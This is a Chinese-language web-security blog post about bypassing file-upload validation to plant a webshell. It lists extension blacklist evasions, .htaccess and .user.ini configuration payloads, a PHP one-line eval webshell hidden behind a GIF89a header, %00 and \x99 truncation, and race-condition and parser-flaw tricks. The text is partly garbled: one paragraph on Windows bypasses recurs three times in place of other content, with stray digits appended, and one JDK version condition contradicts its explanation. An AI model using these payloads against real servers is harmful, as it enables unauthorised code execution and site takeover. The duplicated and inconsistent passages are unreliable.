网站漏洞检测:upload 上传漏洞

频道:漏洞检测 日期: 浏览:646

一.upload上传绕过

后缀检验绕过

1.黑名单检测绕过

1.)上传文件重命名

#由于只有后缀是可控的  所以常见的后缀为php中  php2,php3,php4,php5,phtm,phtml,pht,如果是黑名单的话 果断.htacess 和user.ini 文件传上去看看    asp中  cer,asa,aspx,svc,ashx,asax,ascx,asmx等  jsp中  jsp,jspx,jspa,jsw,jsv,jspf,jtml  #windows环境下  1.)可尝试大小写绕-->因为windows下不区分大小写导致的  2.)可尝试 php::$DATA php.等后缀  3.)先上传a.php:.jpg,生成空的a.php文件,在上传a.ph<写入文件内容  4.)如果web服务器配置了ssi,可尝试SHTML,SHT等文件命令执行



黑名单特殊绕过的原理分析

windows特性绕过

#如   ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格    即无这句话$file_ext = trim($file_ext); //首尾去空  ②留点绕过  原理-->windows环境中会自动去除点  即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);  可以shell.php.绕过  ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过  即无这句话  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA



过滤次数仅有一次类绕过

常见使用于–>文件的名字仍为上传的文件名的这种情况

原理  ①如在中如果过滤了.但在中虽然经过了过滤但是只过滤了一次的这种情况  因此可以进行php..进行绕过  ②双写类-->即将黑名单的内容替换为空这种情况  $file_name = str_ireplace($deny_ext,"", $file_name);  因此直接shell.pphphp即可绕过



2.)上传文件不重命名

通过配置文件进行绕过

通过.htaccess–>只适用于apache服务器情况可以被解析

.htaccess的内容

SetHandler application/x-httpd-php

.user.ini–>利用配置文件更改进行导致解析(适用于php语言)

利用条件

.user.ini 利用条件如下:

①服务器脚本语言为PHP

②服务器使用CGI/FastCGI模式

③上传目录下要有可执行的php文件

配置内容

GIF89a                  //绕过exif_imagetype()  auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。  auto_append_file=a.jpg  //解析后进行包含

使用方法

1.先上传.user.ini文件

//.user.ini  GIF89a#当需要检测文件头时需要使用  auto_prepend_file=a.jpg#即执行前先执行这个文件,从而连接其即可达到geteshell的作用

这个文件的作用为类似于在文件前调用了require()函数

是一个php配置项

该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门





auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件,auto_append_file 是在php代码执行完毕后加载的文件

2.在上传a.jpg文件构造一句话木马 连接

GIF89a  <script language='php'> @eval($_POST['pass']);</script>

然后直接执行连接即可



3.)上传类漏洞



如果其他文件均被解析为图片或者其他类型

上传index类文件可能可以被解析

如 index.php,index.jsp,index.asp类

.白名单检测

①截取类思路

①截取原理  img_path直接拼接导致  1.)get类获取直接拼接-->get类发送的可以直接解码%00  如   $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  即可在save_path路径输出的地方控制位  shell.php%00  2.)post类获取直接拼接-->也是采用%00截断,不同点在于-->post类型的需要在二进制中修改   $img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;  ②条件竞争原理  如upload类  即先上传文件后然后在进行删除与修改  如下  因此可以不断的intruder包然后进行获取到  $upload_file = UPLOAD_PATH . '/' . $file_name;        if(move_uploaded_file($temp_file, $upload_file)){          if(in_array($file_ext,$ext_arr)){               $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;               rename($upload_file, $img_path);               $is_upload = true;          }else{              $msg = "只允许上传.jpg|.png|.gif类型文件!";              unlink($upload_file);



uplaod-labs思路

data:image/jpeg上传时绕过方法#即更改为image/php的思路代



②常见利用中间组件和编辑器漏洞思路去绕过

1.)文件包含漏洞+解析漏洞组合拳



1.)apache解析漏洞

test.php.xxx

#因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php

2.)IIS解析漏洞

即会将jpg解析为php类

1.)apache解析漏洞  如  test.php.xxx  #因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php  2.)IIS解析漏洞  即会将jpg解析为php类

如(即编辑器处典型配合解析漏洞)

利用–>即直接代shell即可

#如   ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格    即无这句话$file_ext = trim($file_ext); //首尾去空  ②留点绕过  原理-->windows环境中会自动去除点  即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);  可以shell.php.绕过  ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过  即无这句话  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA0

2.)请求头部过滤





绕过方法:更改一个为大写字母即可

3.)upload+任意文件删除组合拳

①在后台允许上传的文件中,添加自己想要的文件格式



②如果.htaccess限制了访问规则

找到一个任意文件删除的漏洞

删除.htaccess即可绕过访问规则



3.截断利用绕过

造成原因:作为底层的语言一个函数出问题导致

\00截断利用–>php版本类型最多(且目录解析类型最多)–>核心低版本服务器的解析问题造成的漏洞

使用条件:

php版本的情况

1.php版本小于5.3.4

2magic_quotes_gpc为off状态–>如果开启了则%00为被反斜杠转义掉



3get请求类型与post请求类型不同所需要更改的不同



原因:

get类型-->url可以直接进行编码将%00变成一个非正常符号的编码

post类型-->url不进行直接编码,因此必须更改hex的值才可以进行-->或者进行url编码代绕



%00截断的原理

#如   ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格    即无这句话$file_ext = trim($file_ext); //首尾去空  ②留点绕过  原理-->windows环境中会自动去除点  即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name);  可以shell.php.绕过  ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过  即无这句话  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA1

即直接利用代截断后面的内容实现绕过–>常见目录名截取



因为合取的是让road直接连接后面上传的文件

所以在这里构造%00进行截取掉后面的内容,从而实现绕过

java版本

使用条件

jdk8<jdk版本



JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

1

\x99截断利用



x.php\x99.jpg #即可以进行截取了





下一篇:upload漏洞挖掘